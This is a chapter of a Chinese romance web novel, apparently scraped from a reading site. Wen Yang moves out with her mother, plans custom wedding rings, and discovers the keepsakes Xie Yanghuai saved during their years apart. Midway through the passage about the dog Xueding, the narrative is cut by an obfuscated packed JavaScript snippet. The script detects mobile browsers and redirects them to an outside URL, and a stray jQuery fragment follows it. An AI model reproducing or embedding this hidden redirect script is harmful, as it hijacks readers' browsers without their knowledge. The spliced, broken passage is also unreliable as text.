123读书网 > 都市小说 > 乖顺 > 74.补过拾遗
    到家已经晚上十一点了。


    担心吵醒吴守贞,温漾轻手轻脚地开了锁。


    意外的是屋内灯火通明,原本应该早早睡觉的吴守贞正在客厅收拾东西。


    听见玄关的动静,吴守贞抬起头,“回来了?”


    温漾望着满地零散的物件,问:“妈,你怎么这么晚还没睡?”


    吴守贞把东西分类放进编织袋,边说:“过两天不是要回宁泊了吗,我就想着把一些不要的东西收出来丢了,这大老远把行李寄回去挺贵的。”


    “也花不了多少,再说了,明天搬家公司会来帮忙打包的。”温漾嘴上这么说着,还是走过去,蹲下帮她一起收拾。


    “能省的就省着点,你读书还要不少钱呢。”


    两人距离缩近,吴守贞这才注意到温漾眼睛有些肿胀,像是哭过。


    她问:“你眼睛怎么了?刚和小谢吵架了?”


    “没有啊。”温漾眨了眨眼,“今天袁总不是给我办了欢送会嘛,大家相处了那么久,肯定会有点舍不得。”


    “没吵架就好,你们俩好好的,我在老家也放心。”


    吴守贞叹了口气,环顾了一圈这个住了好几年的房屋,“突然要离开,还怪舍不得的。”


    房东常年在外地见不到面,她们除了需要按时交租金外,实际和自己家没什么区别。


    这间屋子承载了太多太多,四处都是生活过的痕迹。


    突然要离开,难免会不舍。


    温漾安慰:“新家可比这个大多了。不早了,我们赶紧收完睡觉吧。”


    收拾完东西,温漾洗漱后就回了房间。


    睡前,她习惯性复习一小会儿。


    翻开资料,里面正好是古希腊史的内容。


    蓦地,一串文字映入眼眸。


    古希腊语中的戒指称dactylion,意为“指上之物”,早期核心是印章戒指。


    古风后期,戒指开始承载承诺的意味,婚戒则戴在左手无名指,因古希腊人相信该指有一条“爱情之脉”直通心脏。


    温漾盯着看了许久,突然点开微信戳进林见鹿的头像。


    她在聊天框内编辑了许久,最后发出一句:【漉漉,你睡了嘛?】


    对面夜猫子秒回:【没呢。】


    温漾抿唇:【我就是想问问,你和何老师结婚的时候,定制婚戒的流程是什么样的?】


    林见鹿:【啊?】


    林见鹿:【你们不是才见过家长吗?这么快就要结婚了吗?】


    温漾:【还没有。】


    林见鹿:【那你为什么?】


    这个问题让温漾思绪有一瞬间的放空。


    大概是知道分手的那五年,他没有一刻停止过爱她。


    重逢后也没有道德绑架,而是放缓了步调,让她正视自己的心意。


    谢仰淮总是为她考虑很多,所以她也想为他们的未来规划点什么。


    温漾说:【感觉他把什么事都安排好了,但结婚是两个人的事,我觉得我也该主动点。】


    消息发出去,她又觉得这话说得太满,补了一句:【就是先了解一下,不着急。】


    林见鹿:【哦——不着急,不着急你大半夜问我婚戒定制流程?】


    “……”


    温漾想反驳,又找不到理由,干脆破罐子破摔:【那你说不说嘛?】


    林见鹿:【坏笑.JPG】


    林见鹿:【设计师是何老师找的,前前后后花了两个月才做好的。】


    两个月。


    温漾算了算时间,如果现在开始准备,等戒指做好,差不多是谢仰淮生日前后。


    这么想想,好像还挺有纪念意义的。


    温漾:【有没有联系方式推给我?】


    隔了几秒,一个好友推荐弹了出来。


    温漾立即添加了好友。


    但时间太晚了,对方并没有立刻通过。


    温漾瞥了眼右上方显示的时间,恰好是零点整,距离和谢仰淮见面还剩下九小时。


    当有了期待的情绪,等待的时间真的过得好慢。


    因此,早晨闹铃第一声响起,温漾就醒来了。


    她算好了时间提前收拾好,搬家公司也很准时地到了家门口。


    她们在漳南住了五年,不知不觉间,零碎的物件积攒了许多。即便断舍离了不少东西,还是塞满了大包小包。


    谢仰淮全程将一切安排得井井有条,完全不需要她们操心,就连午饭都是他做的。


    吴守贞是越看越满意:“辛苦了小谢,这一早上忙前忙后的,还做了这么多菜。”


    谢仰淮温声说:“应该的,阿姨。”


    吴守贞瞥了眼温漾,“你也多学点,以后两个人一起生活,总不能一直让小谢下厨吧?”


    “我会做饭啊。”温漾吃鸡腿的动作一顿,不服气,“就是做得没他好吃而已。”


    谢仰淮唇角的弧度扯得很深,“你做的也好吃,我很喜欢。”


    虽然已经公开了关系,但当着吴守贞的面,听见谢仰淮说这种肉麻的话,温漾还是有点不好意思:“你快吃吧,话真多。”


    —


    返程的机票订在第二天下午两点,吴守贞直接回宁泊,而谢仰淮和温漾要去星罗。


    两地就在隔壁市,但终究是要分别的。


    吴守贞虽然同意了他们两人的事,但作为母亲,有些话她想和谢仰淮单独说。


    “小谢,温漾的爸爸死得早,她从小到大都太懂事了,有时候受了委屈也不愿意跟人说。如果她以后有什么做得不对的地方,你多担待,或者跟我说,我来教训她。”


    “但你们两个好不容易才走到现在,我没别的要求,就希望你们能一直好好的。”


    她握着谢仰淮的手拍了拍,语气里带一丝不放心,“我老了,没办法一直陪她。但我看得出来她是真心喜欢你,所以别让她孤零零一个人。答应阿姨,好吗?”


    谢仰淮眼眸漆黑,认真同她许诺:“我永远不会让她是一个人。”


    “吴姨放心,我一定会和温漾好好的。”


    话音掷地,温漾确认完行李走出来,“都收拾好了,我们走吧。”


    关上房门,似乎也为过去的五年画上了一个句点。


    两个小时的航班,衔接了几年的时光。


    星罗已经有了初夏的预兆,行道树的叶子绿得发亮,空气里浮动着温热潮湿的气息。


    再来到他们大学时期住过的那间屋子,温漾总有种恍如隔世的感觉。


    放眼望去,陈设几乎没什么变化,只是多了些给雪顶用的宠物用品。


    温漾抿唇,“你那几年都带着雪顶住在这吗?”


    “嗯,只有这里还有你生活过的痕迹。”


    谢仰淮弯腰从鞋柜中拿出一双新拖鞋,放到温漾脚边,“之前去漳南那么急,也没再回来看看雪顶。它没等到你回来,就一直趴在你的拖鞋上等你。”


    “后来,鞋都压坏了,就只能放在鞋柜最里面了。”


    大概是幼年时被人抛弃过,雪顶一直是个高需求的小狗。平时从不吵闹,还很亲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204099|186817||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,尤其喜欢粘着主人。


    而温漾,是她主动领养了它,却又在它最依赖她的时候离开了。


    小狗的世界很小,小到只装得下那扇门每次开启时,“妈妈”走进来的身影。


    温漾心口发酸,低声道歉:“对不起,它一定很难过。”


    谢仰淮嗓音淡淡:“它可没有难过,不然你以为它卡车的体型哪来的?”


    温漾破涕为笑,轻轻捶了他手臂一下,“什么嘛,还好雪顶在段伽野那,知不知道恶语伤汪心。”


    谢仰淮轻笑,“好了,进来看看有没有缺什么,等会儿去接雪顶的时候,刚好可以去一趟超市。”


    温漾换鞋进了屋子,四处逛了逛,一切都如同她离开前那样,甚至连她落下的笔记本都整齐放在书房的书架上。


    大学恋爱时,温漾其实没怎么进来过。


    虽然谢仰淮允许她随意进入,但书房里放了太多重要的商业资料,她担心会不小心碰乱什么,所以总是很自觉地只在书房外其他地方活动。


    如今时过境迁,心境也不同了。


    温漾不再划清界限,喜欢一个人总是会下意识地依赖,包括想要见缝插针地挤进他生活的方方面面。


    以她的身高能一眼看见的那层,摆了好几本眼熟的英文原版小说。


    最角落的一个格子没放书,反而摆着一个浅黄色的盒子。


    温漾微顿,鬼使神差地将它拿了下来。


    打开盖子。


    映入眼帘的全是她留下的东西。


    发圈、钥匙扣、羊毛毡小猫,还有那条Cartier的珍珠项链。


    温漾心头微颤,注意到最下方压着一个黑色的皮质钱包,边缘磨损,看起来有些年头了。


    冷不防的,她想起辛沅说过的。


    谢仰淮之前一直把他们合照放在钱包夹层里。


    像是为了确认什么,温漾拿起钱包打开。


    里面空空如也,唯独放了她还给他的那张银行卡,以及他们在这间屋子用手机随手拍下的一张合照。


    科技发达的国内,现在少有人用现金,钱包早已不是必需品。但谢仰淮还是在用,而且只装了这两样东西。


    阳光倾斜的一角掉落,照亮了照片中少年浸着笑意的眉眼。


    隔着时光与光影,二十七岁的温漾和二十一岁的谢仰淮四目相对。


    时间仿佛在一瞬间放慢了转动的速率。


    直到身后有脚步声响起。


    温漾回身时,同样二十七岁的谢仰淮出现在门口。


    过去的青涩、炽热,都在触手可及的今天缓慢沉淀。


    谢仰淮目光短暂落在那个盒子上,而后抬眸和温漾对视,“还是被你发现了。”


    温漾唇角弯了点弧度,“这么显眼,谁会看不见。”


    谢仰淮扯唇笑,抬步走进来,把一些可爱的小摆件一一放到书柜上,和他极为机密的商业资料排在一块。


    温漾认出那些都是她之前送给Y的,她睫毛颤动着,“这些,你一直都带在身边?”


    谢仰淮轻“嗯”了一声,声线沾上淡淡的涩意:“你送的每一样东西,我都会好好保存。”


    静谧几息。


    温漾垂眼轻抚照片,“照片,我们下次拍新的吧。”


    夕阳最柔软的一角掉落在她鼻尖,温漾往前一步,牵起他的手。


    暖光霎时盛满了她的眸底,掺着不加掩饰的笑意,“现在,我们一起去接雪顶吧。”


    她对上他的眼眸,嘴角的弧度一点点加深,“未婚夫。”